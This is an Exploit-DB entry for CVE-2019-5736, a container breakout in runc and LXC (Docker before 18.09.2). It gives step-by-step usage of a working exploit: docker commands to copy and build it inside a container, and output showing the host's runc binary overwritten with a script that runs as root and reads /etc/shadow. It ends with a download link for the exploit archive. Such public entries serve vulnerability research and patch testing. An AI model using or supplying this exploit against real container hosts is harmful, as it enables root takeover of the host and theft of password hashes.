runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)

EDB-ID:

46369

Author:

embargo

Type:

local

Platform:

Linux

Published:

2019-02-13

## CVE-2019-5736 ##

This is exploit code for CVE-2019-5736 (and it works for both runc and LXC).
The simplest way to use it is to copy the exploit code into an existing
container, and run `make.sh`. However, you could just as easily create a bad
image and run that.

```console
% docker run --rm --name pwnme -dit ubuntu:18.10 bash
pwnme
% docker cp CVE-2019-5736.tar pwnme:/CVE-2019-5736.tar
```

We need to install `gcc` to build the exploit, and `runc` because we need to
have the shared libraries that `runc` would use. We don't actually use the
`runc` binary itself. For LXC, you would install `lxc` instead of `runc`.

```console
% docker attach pwnme
# apt-get update && apt-get install -y gcc runc
[ snip ]
# tar xf CVE-2019-5736.tar
# ./CVE-2019-5736/make.sh
```

And now, `/bin/bash` in the container will be able to **overwrite the host runc
binary**. Since this binary is often executed by `root`, this allows for
root-level code execution on the host.

```
% docker exec -it pwnme /bin/bash
[+] bad_libseccomp.so booted.
[+] opened ro /proc/self/exe <3>.
[+] constructed fdpath </proc/self/fd/3>
[+] bad_init is ready -- see </tmp/bad_init_log> for logs.
[*] dying to allow /proc/self/exe to be unused...
% cat /usr/sbin/docker-runc
#!/bin/bash
touch /w00t_w00t ; cat /etc/shadow
```

And now if you try to use Docker normally, the malicious script will execute
with root privileges:

```
% docker exec -it pwnme /bin/good_bash
OCI runtime state failed: invalid character 'b' looking for beginning of value: unknown
% file /w00t_w00t
/w00t_w00t: empty
```

And obviously `make.sh` can be modified to make the evil path anything you
like. If you want to get access to the container, use `/bin/good_bash`.

### License ###

```
Copyright (C) 2019 Aleksa Sarai <cyphar@cyphar.com>
Vulnerability discovered by Adam Iwaniuk and Borys Popławski.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

* The above copyright notice and this permission notice shall be included in
  all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
```


Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46369.zip